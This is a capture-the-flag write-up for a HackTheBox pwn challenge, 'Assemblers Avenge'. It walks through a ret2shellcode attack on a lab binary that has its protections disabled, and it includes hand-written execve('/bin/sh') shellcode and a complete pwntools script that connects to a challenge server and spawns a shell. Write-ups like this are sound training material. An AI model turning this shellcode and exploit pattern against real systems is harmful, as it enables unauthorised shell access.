← Back to Writeups
HTBN/APwn

Assemblers Avenge

XESXOR8/23/20263 min read
#pwn#htb#n/a

Assemblers Avenge

Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Amidst the harrowing conflict, our city bore the brunt of relentless onslaughts, witnessing widespread devastation that spared little, ravaging both infrastructure and spirit alike. Now, as the dust settles and the echoes of chaos fade, a clarion call emerges: assemble a force to restore justice and herald a new era of tranquility. With the remnants of our past preserved within this binary, embark on your mission to reclaim our future.

Solution Approach

Core idea: ret2shellcode. create custom shellcode.

Steps

  1. In this challenge we are given a 64 bit binary, statically linked, and not stripped.

BINARY PROTECTIONS

  1. Since it is statically linked, hence the binary does not rely on external shared libraries during runtime.
  2. Also notice that all the binary mitigations are off, should be easy to pwn then.
  3. Decompiled the binary at ghidra and reviewed the entry, we identified three functions called, those are _write, _read, and _exit.

Ghidra

  1. Reviewing the _write call operations, we can see what message shall be printed.

  2. Reviewing the _read function call, we can identify the buffer size (_nbytes) is 24 bytes.

  3. If you noticed, our input shall stored at RSI at this function call, which gave us a hint to utilize jmp instruction to rsi if we use shellcode approach.

  4. For the _exit function call, it just printed the goodbye message then terminate the binary.

  5. Since NX is disabled, hence use shellcode approach. Remembering the buffer size is 24 bytes, hence our shellcode should be at 16 bytes and the rest 8 bytes should be enough for our gadget.

JMP RSI GADGET

  1. No need to worry about the /bin/sh strings, because it is printed by the binary itself and there is an interesting way to grab the strings and use it for our shellcode.

THE PRINTED STRINGS

  1. Based on ghidra, the offset should be at 0x4020...

  2. To identify the LSB, I used hexdump, then look for hex representations of /bin/sh strings.

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ echo "/bin/sh" | xxd -p      
2f62696e2f73680a
  1. Now let us craft our shellcode.
mov    rdi,0x402065
xor    esi,esi
xor    edx,edx
push   0x3b
pop    rax
syscall

NOTE:

To set zero for RSI and RDX can utilize xoring esi and edx. Because
in 64-bit mode, writing to the lower 32 bits clears the upper 32 bits
of the full 64-bit register.

Thus xor esi achieves the same effect as xor rsi. Note that using 32 bit register
is to shorten the shellcode size.
  1. Awesome! The size is exact enough.

FULL EXPLOIT SCRIPT

from pwn import *

exe = './assemblers_avenge'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

HOST = '94.237.62.3'
IP = 46619
sh = remote(HOST, IP)

### sh = process(exe)

sc = """
mov    rdi,0x402065
xor    esi,esi
xor    edx,edx
push   0x3b
pop    rax
syscall
"""

log.success(f'Size: {len(asm(sc))}')

rop = ROP(elf)
p = flat([
    asm(sc), # shellcode 
    0x000000000040106b # jmp rsi gadget
])

sh.sendline(p)
sh.interactive()

15 Got the flag! We've pwned it.

Flag

REDACTED

Lessons Learned

  1. Ret2shellcode.
  2. Create custom shellcode.
  3. Utilize /bin/sh strings printed.